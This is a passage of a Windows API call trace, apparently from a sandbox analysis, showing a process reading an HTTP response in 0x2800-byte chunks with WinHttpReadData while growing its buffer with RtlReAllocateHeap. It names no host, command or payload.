lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8fe6880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.535] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x1b800) returned 0x8fd0080 [0178.535] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8fe9080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8fe9080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.535] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x1e000) returned 0x8fd0080 [0178.535] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8feb880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8feb880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.536] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x20800) returned 0x8fd0080 [0178.536] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8fee080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8fee080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.537] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x23000) returned 0x8fd0080 [0178.537] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8ff0880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8ff0880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.537] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x25800) returned 0x8fd0080 [0178.537] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8ff3080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8ff3080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.537] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x28000) returned 0x8fd0080 [0178.537] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8ff5880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8ff5880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.538] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x2a800) returned 0x8ff8090 [0178.542] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9020090, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9020090*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.543] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8ff8090, Size=0x2d000) returned 0x90228a0 [0178.547] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x904d0a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x904d0a0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.547] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x90228a0, Size=0x2f800) returned 0x8fd0080 [0178.547] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8ffd080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8ffd080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.637] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x32000) returned 0x8fd0080 [0178.637] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8fff880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8fff880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.638] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x34800) returned 0x8fd0080 [0178.638] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9002080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9002080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.638] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x37000) returned 0x8fd0080 [0178.638] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9004880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9004880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.639] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x39800) returned 0x8fd0080 [0178.639] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9007080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9007080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.639] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x3c000) returned 0x8fd0080 [0178.639] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9009880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9009880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.639] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x3e800) returned 0x8fd0080 [0178.639] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x900c080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x900c080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.640] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x41000) returned 0x8fd0080 [0178.640] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x900e880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x900e880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.640] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x43800) returned 0x8fd0080 [0178.640] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9011080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9011080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.641] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x46000) returned 0x8fd0080 [0178.641] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9013880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9013880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.641] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x48800) returned 0x8fd0080 [0178.641] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9016080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9016080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.641] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x4b000) returned 0x8fd0080 [0178.641] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9018880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9018880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.641] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x4d800) returned 0x8fd0080 [0178.642] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x901b080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x901b080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.643] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x50000) returned 0x8fd0080 [0178.643] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x901d880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x901d880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.643] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x52800) returned 0x8fd0080 [0178.643] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9020080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9020080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.643] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x55000) returned 0x8fd0080 [0178.643] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9022880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9022880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.644] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x57800) returned 0x8fd0080 [0178.644] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9025080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9025080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.644] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x5a000) returned 0x8fd0080 [0178.644] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9027880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9027880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.644] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x5c800) returned 0x8fd0080 [0178.645] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x902a080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x902a080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.645] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x5f000) returned 0x8fd0080 [0178.645] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x902c880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x902c880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.645] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x61800) returned 0x8fd0080 [0178.645] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x902f080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x902f080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.670] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x64000) returned 0x8fd0080 [0178.670] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9031880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9031880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.671] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x66800) returned 0x8fd0080 [0178.671] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9034080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9034080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.671] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x69000) returned 0x8fd0080 [0178.671] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9036880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9036880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.672] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x6b800) returned 0x8fd0080 [0178.672] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9039080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9039080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.672] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x6e000) returned 0x8fd0080 [0178.672] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x903b880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x903b880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.673] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x70800) returned 0x8fd0080 [0178.673] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x903e080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x903e080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.673] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x73000) returned 0x8fd0080 [0178.673] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9040880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9040880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.674] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x75800) returned 0x8fd0080 [0178.674] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9043080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9043080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.674] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x78000) returned 0x8fd0080 [0178.674] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9045880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9045880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.674] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x7a800) returned 0x8fd0080 [0178.674] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9048080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9048080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.675] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x7d000) returned 0x8fd0080 [0178.675] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x904a880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x904a880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.675] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x7f800) returned 0x8fd0080 [0178.675] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x904d080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x904d080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.675] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x82000) returned 0x90d0080 [0178.707] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x914f880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x914f880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.709] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x90d0080, Size=0x84800) returned 0x9152090 [0178.723] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x91d4090, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x91d4090*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.724] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x9152090, Size=0x87000) returned 0x91d68a0 [0178.739] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x925b0a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x925b0a0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.739] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x91d68a0, Size=0x89800) returned 0x91d68a0 [0178.739] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x925d8a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x925d8a0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.740] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x91d68a0, Size=0x8c000) returned 0x90d0080 [0178.751] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x9159880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x9159880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.752] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x90d0080, Size=0x8e800) returned 0xf750080 [0178.762] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf7dc080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf7dc080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.763] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf750080, Size=0x91000) returned 0xf7de890 [0178.772] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf86d090, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf86d090*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.773] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf7de890, Size=0x93800) returned 0xf86f8a0 [0178.873] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf9008a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf9008a0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.909] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f8a0, Size=0x96000) returned 0xf86f8a0 [0178.909] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf9030a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf9030a0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.909] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f8a0, Size=0x98800) returned 0xf750080 [0178.919] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf7e6080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf7e6080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.920] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf750080, Size=0x9b000) returned 0xf86f010 [0178.923] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf907810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf907810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.923] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0x9d800) returned 0xf86f010 [0178.923] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf90a010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf90a010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.924] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xa0000) returned 0xf86f010 [0178.924] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf90c810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf90c810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.925] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xa2800) returned 0xf86f010 [0178.925] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf90f010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf90f010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.926] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xa5000) returned 0xf86f010 [0178.926] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf911810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf911810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.926] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xa7800) returned 0xf86f010 [0178.926] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf914010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf914010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.927] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xaa000) returned 0xf86f010 [0178.927] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf916810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf916810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.927] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xac800) returned 0xf86f010 [0178.927] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf919010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf919010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.927] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xaf000) returned 0xf86f010 [0178.928] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf91b810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf91b810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.928] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xb1800) returned 0xf86f010 [0178.928] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf91e010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf91e010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.928] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xb4000) returned 0xf86f010 [0178.929] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf920810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf920810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.929] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xb6800) returned 0xf86f010 [0178.929] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf923010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf923010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.929] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xb9000) returned 0xf86f010 [0178.929] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf925810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf925810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.930] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xbb800) returned 0xf86f010 [0178.930] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf928010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf928010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.930] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xbe000) returned 0xf86f010 [0178.930] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf92a810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf92a810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.931] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xc0800) returned 0xf86f010 [0178.931] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf92d010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf92d010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.931] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xc3000) returned 0xf86f010 [0178.931] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf92f810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf92f810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.932] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xc5800) returned 0xf86f010 [0178.932] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf932010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf932010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.932] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xc8000) returned 0xf86f010 [0178.932] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf934810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf934810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.933] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xca800) returned 0xf86f010 [0178.933] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf937010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf937010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.933] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xcd000) returned 0xf86f010 [0178.933] WinHttpReadData (in: 